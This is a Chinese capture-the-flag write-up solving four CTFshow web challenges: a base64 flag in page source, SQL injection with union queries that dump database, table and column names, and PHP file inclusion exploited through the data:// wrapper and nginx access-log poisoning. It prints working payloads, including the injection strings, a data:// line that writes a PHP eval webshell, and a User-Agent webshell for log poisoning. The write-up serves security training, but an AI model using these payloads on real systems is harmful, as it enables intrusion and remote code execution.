CTFshow之Web
web1
签到题,直接查看网页源代码,发现注释中有一串字符
ZmxhZ3s1NDliMDkyYi0yYzkwLTQ1MTktYmY5OC05YTg0MmI4MTdkODV9
将此字符串进行base64解码即可得到flag

WEB2—SQL注入
题目提示是简单的SQL注入,于是尝试输入点中使用万能密码:admin'or 1=1#

之后发现有回显,说明存在sql注入,且用户名是ctfshow
接下来进行order by 判断字段数

查看源代码可知此登录页面使用POST传参,所以我们使用HackBar进行注入,而不能直接在url栏里进行注入。
输入 username=ctfshow'order by 4#&password=1没有回显,说明字段数小于4,继续试order by 3

有回显了,说明字段数就是3。
然后利用联合查询进行爆库
username=ctfshow’ union select 1,database(),3#&password=1
当前所在库为web2,然后接着爆表
username=ctfshow’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=1
发现有两个表,其中第一个表便是flag
接着爆字段
username=ctfshow’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘flag’#&password=1
说明flag表中只有flag一个字段
接着爆flag字段里的信息
username=ctfshow’union select 1,group_concat(flag),3 from flag#&password=1
即可得到本题的flag
WEB3—php文件包含

网页打开是这样,很明显是php文件包含,但我们还是进行测试一下
打开网站提示输入url,测试/etc/passwd成功显示,应为文件包含漏洞
第一种方法:
php伪协议中的data通过通配符查找目录下的所有文件
url=data://text/plain,<?php print_r(glob("*")); ?>
然后直接访问ctf_go_go_go,发现是让你下载一个文件,打开这个文件即可得到flag
第二种方法
写入一句话菜刀连接
url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>

这道题用到了php伪协议,常见的php伪协议及用法:https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427

web4—文件包含漏洞(日志注入)
页面同上一题
尝试相同的解法,发现过滤了php。但是/etc/passwd依然可以显示,猜测仍为文件包含漏洞,尝试其他利用方式

同样尝试第三题的data通配符查看所有文件的方法,输入/?url=data://text/plain,<?php print_r(glob("*")); ?>,发现页面报错

所以判断可能把php过滤掉了
然后我们来尝试进行日志注入,我们根据响应头可以知道服务器为nginx,nginx存放日志文件的目录为/var/log/nginx/access.log和/var/log/nginx/error.log

构造url为url=/var/log/nginx/access.log查看服务器日志文件
为了防止url编码,需要在burp中修改UA为<?php eval($_POST['hack']);?>

接着用菜刀或者蚁剑连接


找到了,得来全不费功夫
拿到flag为ctfshow{a5dc3fe3-071e-44da-9519-59a1f6a2c30f}
本文记录了CTF比赛中关于WEB的四道题目的解题过程,包括从查看源代码获取flag,利用SQL注入进行爆库,通过PHP文件包含漏洞读取文件,以及使用日志注入技术找到隐藏flag。详细介绍了每一步的操作和思考过程。

897

被折叠的 条评论
为什么被折叠?



